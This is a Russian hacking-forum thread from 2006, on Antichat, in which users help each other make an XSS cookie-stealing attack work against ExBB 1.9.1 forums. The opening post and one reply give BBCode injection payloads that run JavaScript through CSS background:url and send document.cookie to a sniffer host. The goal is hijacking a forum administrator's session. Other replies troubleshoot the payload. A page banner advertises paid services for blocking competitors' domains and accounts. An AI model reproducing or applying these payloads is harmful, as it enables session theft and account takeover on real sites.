Вопрос по применению XSS на форуме ExBB 1.9.1

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Уязвимости CMS / форумов
Вопрос по применению XSS на форуме ExBB 1.9.1

Опции темы

Поиск в этой теме

Опции просмотра

Вопрос по применению XSS на форуме ExBB 1.9.1

26.02.2006, 03:31

TweakeR

Познающий

Регистрация: 06.02.2006

Сообщений: 46

Провел на форуме:
293626

Репутация: 12

Вопрос по применению XSS на форуме ExBB 1.9.1

Пробывал:

Код:

[ email]'style='display:none;background:url(javascript:doc  ument.images[2].src="http://you_sniffer_url/sniffer.php?"+document.cookie)[/email

Админ прочитал а не чё не шлёт!
Что можно придумать подскажите?

Последний раз редактировалось SladerNon; 27.02.2006 в 08:54..

26.02.2006, 03:39

~~tclover~~

Banned

Регистрация: 13.12.2005

Сообщений: 1,091

Провел на форуме:
9751364

Репутация: 1847

Код:

http://you_sniffer_url/sniffer.php

а чё так и оставил?

Последний раз редактировалось SladerNon; 27.02.2006 в 08:55..

26.02.2006, 04:55

Vovec

Новичок

Регистрация: 31.08.2005

Сообщений: 27

Провел на форуме:
50859

Репутация: 3

А что тебе админ должен прислать=)
Куки должны были тебе слиться, на сниффер который ты указал, если ты это сделал... Только убери пробел между doc и ument и в конце поставь ] ну и конешно путь к сниферу например античатовскому "http://antichat.ru/cgi-bin/s.jpg" Если будет работать то тебе должны будут первыми прийти твои куки если ты там зареген...

26.02.2006, 05:05

A110ut

Постоянный

Регистрация: 31.12.2005

Сообщений: 605

Провел на форуме:
4349433

Репутация: 661

лол

бывает и такое)
короче вот еще один. используется также как и твой

Код:

[*url]http:/*/sasa'style=background:url("javascript:document.images[0].src='http://antichat.org/s/ТВАЙ_СНИФАК.gif?'+document.cookie");lol:'sa[*/url]

зы: * * * убери

Последний раз редактировалось SladerNon; 27.02.2006 в 08:55..

26.02.2006, 12:11

TweakeR

Познающий

Регистрация: 06.02.2006

Сообщений: 46

Провел на форуме:
293626

Репутация: 12

Trampled_clover нет конечно снифер подставил и все пробелы убрал!

Последний раз редактировалось TweakeR; 26.02.2006 в 12:14..

26.02.2006, 12:26

Inferno

Участник форума

Регистрация: 30.12.2005

Сообщений: 155

Провел на форуме:
2714612

Репутация: 31

Цитата:

Сообщение от TweakeR

Trampled_clover нет конечно снифер подставил и все пробелы убрал!

А скобку не закрыл?

26.02.2006, 12:29

~~Tem~~

Banned

Регистрация: 05.10.2005

Сообщений: 965

Провел на форуме:
5888800

Репутация: 547

А может у него не ОСЛИК ? поэтому не шлёт .Если я не ошибаюсь этот XSS только для ИЕ браузера.

Последний раз редактировалось Tem; 26.02.2006 в 12:35..

27.02.2006, 03:08

podkashey

Познавший АНТИЧАТ

Регистрация: 18.06.2005

Сообщений: 1,004

Провел на форуме:
2821162

Репутация: 1320

ггыгыгы.... У меня 2 варианта ответа:
1)

Цитата:

А может у него не ОСЛИК

согласен с этим (Ослик - интернет эксплорер).
2) Админ умный и форум пропатчен.

27.02.2006, 03:22

Electro

Участник форума

Регистрация: 23.10.2005

Сообщений: 276

Провел на форуме:
1095453

Репутация: 113

Цитата:

Сообщение от TweakeR

Админ прочитал а не чё не шлёт!
Что можно придумать подскажите?

Покажи как выглядит результат скрипта в HTML

#10

28.02.2006, 18:24

milord69

Новичок

Регистрация: 24.11.2005

Сообщений: 18

Провел на форуме:
55564

Репутация: 0

В 7 ИЕ куки не тырятся

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
ExBB 1.9.1 . PHP-инклюдинг в админке и другие уязвимости.	Егорыч+++	Комментарии к видео	7	25.12.2005 13:16
Вопрос про уязвимости в ExBB 1.9.1	Rud	Уязвимости CMS / форумов	1	17.09.2005 18:43

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Home

Help

Terms and Rules